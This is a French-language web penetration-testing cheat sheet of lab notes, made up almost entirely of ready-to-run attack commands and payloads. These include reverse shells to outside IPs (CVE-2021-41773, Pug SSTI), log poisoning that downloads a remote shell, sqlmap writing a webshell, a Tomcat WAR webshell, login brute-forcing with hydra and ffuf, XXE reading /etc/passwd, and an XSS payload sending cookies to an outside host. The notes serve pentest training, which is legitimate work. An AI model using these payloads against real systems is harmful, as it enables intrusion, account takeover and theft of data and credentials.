Pentest web

Notes de terrain pour les tests d’intrusion web (données de lab).

Énumération

Répertoires

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://example.com/FUZZ
dirsearch -u http://example.com/ -w /usr/share/wordlists/dirBuster_list/directory-list-2.3-small.txt
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://example.com/
seq -w 0 9999 | ffuf -w - -u http://MACHINE_IP:8080/debug/logsFUZZ

Sous-domaines / VHosts

ffuf -w .../directory-list-2.3-medium.txt -H "Host: FUZZ.nahamstore.thm" -u "http://nahamstore.thm"
gobuster vhost -u http://example.com -w subdomains-top1million-5000.txt
gobuster dns -d google.com -w ~/wordlists/subdomains.txt
./sublist3r.py -d acmeitsupport.thm
subfinder -d maroc.com

Paramètres

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt --hc 400 -X POST -u "http://10.10.3.207/api/items?FUZZ=test"

Passwords (brute force form)

ffuf -w rockyou.txt -d "email=adminaccount@itsupport.thm&password=FUZZ" -u http://10.10.133.75/login -fw 475 -H "Content-Type: application/x-www-form-urlencoded"
hydra -l admin -P rockyou.txt 10.10.253.208 http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:F=Username or password invalid"

Apache 2.4.49 – Path Traversal / RCE (CVE-2021-41773)

# Lecture / exécution via CGI
curl 'http://10.10.7.235/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' \
  -d 'echo Content-Type: text/plain; echo; whoami && pwd && id' -H "Content-Type: text/plain"
# Reverse shell
curl 'http://10.10.239.45/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' \
  -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/10.9.1.30/1337 0>&1' -H "Content-Type: text/plain"

Apache – Log Poisoning (LFI → RCE)

dog/../../../../../var/log/apache2/access.log
User-Agent: <?php file_put_contents(shell.php, file_get_contents(http://10.9.76.49/shell.php));?>

PHP wrappers / LFI

# Lecture source encodée base64
.../?file=php://filter/convert.base64-encode/resource=accueil.php
php://filter/string.rot13/resource=.htaccess
php://filter/string.toupper|tolower|strip_tags/resource=.htaccess
# data:// wrapper + payload base64 -> RCE
php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7...&cmd=whoami
# session poisoning
page=<?php echo phpinfo(); ?>   puis  /var/lib/php/sessions/sess_SES-ID

Tomcat – WAR reverse shell

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# Déployer puis: http://tomcat-site.local:8180/backup/cmd.jsp

Bypass auth – Brute force

# Enumération d'utilisateurs
ffuf -w names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://IP/customers/signup -mr "username already exists"
# Cluster bomb user/pass
ffuf -w valid_usernames.txt:W1,top-100.txt:W2 -X POST -d "username=W1&password=W2" -u http://IP/customers/login -fc 200
# PIN brute
hydra -l '' -P 3digits.txt -f -v 10.10.172.167 http-post-form "/login.php:pin=PASS:Access denied" -s 8000
wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -u http://10.10.81.30/login.php -d "username=FUZZ&password=FUZ2Z"

CMS

Joomla (SQLi 3.7.0 – CVE-2017-8917)

sqlmap -u "http://10.10.186.100/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

WordPress

# Élévation de rôle à l'inscription
&ure_other_roles=administrator
# Enumération plugins
nmap -p 80 --script http-wordpress-enum --script-args type="plugins",search-limit=1500 127.0.0.1

WordPress – CVE-2021-29447 (XXE via WAV/media)

Charge WAV malveillante référençant une DTD externe (php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd) pour exfiltrer via un serveur PHP contrôlé.

Code injection – Payloads

".system('uname -a'); $dummy="        // dummy code
".system('uname -a');#               // via commentaire
?order=id);}system('uname%20-a');
'.system("ls -la").'                 // dans assert()

SSTI

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}   # Jinja2
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('bash -c "sh -i >& /dev/tcp/10.8.8.52/1337 0>&1"')}()}   # Pug

SQL Injection

Énumération manuelle (binary search)

' union select 1,2,3,4 where database() like binary '<lettre>%'-- -
' union select 1,2,3,4 FROM information_schema.tables WHERE table_schema='mywebsite' and table_name like binary '<lettre>%'-- -
' union select 1,2,3,4 from siteusers where username like binary 'kitty' and password like binary '<lettre>%'-- -

sqlmap

sqlmap --url="http://nahamstore.thm/product?id=1" --batch --dbms=mysql --level=5 --risk=3 -D nahamstore -T product --dump
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --file-read=/xampp/htdocs/index.php --batch
sqlmap -u 192.168.1.124/sqli/Less-1.?id=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php --batch
sqlmap -u 'http://hogwartz-castle.thm/login' --random-agent --method POST --data 'user=Harry&password=pass' -p user --level 5 --risk 3

NoSQL Injection

user[$ne]=xxxx&pass[$ne]=xxxx&remember=on
user[$nin][]=admin&pass[$ne]=xxxx&remember=on
user=john&pass&remember=on     # découverte de longueur/mot de passe

XXE

<!DOCTYPE root[<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root><email>&file;</email></root>

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg ...><text>&xxe;</text></svg>

XSS

javascript:alert('XSS')
# DOM XSS eval
1+1`${document.location="https://eol9dtzbk9673pb.m.pipedream.net?c="+document.cookie}`

Liste de payloads : payloadbox/xss-payload-list. XSS via SVG également possible.

CSRF – Payloads

Liste GET/POST (avec ou sans interaction), auto-submit, JSON GET. Voir les patrons dans la section Web Vulnerability Checklist → CSRF.

Node.js – Reverse shell (deserialization)

# node-serialize : IIFE payload
node test.js | sed 's/}"/}()"/g' | base64 -w0   # puis injection dans le cookie/objet sérialisé

PHP – HMAC

php -r "echo hash_hmac('sha256', 'example.com', false)"
https://example.com/?nonce[]=&hmac=8e35e0a8...&host=example.com

Docker registry – Enumération via curl

curl -s http://10.10.10.10:5000/v2/_catalog
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:<digest> --output blob1.tar

Outils

crunch : crunch 3 3 0123456789ABCDEF -o passwords.txt
gobuster : modes dns, vhost, dir, fuzz, s3, gcs, tftp ; patterns {GOBUSTER} ; wordlist via STDIN

🌐 Pentest web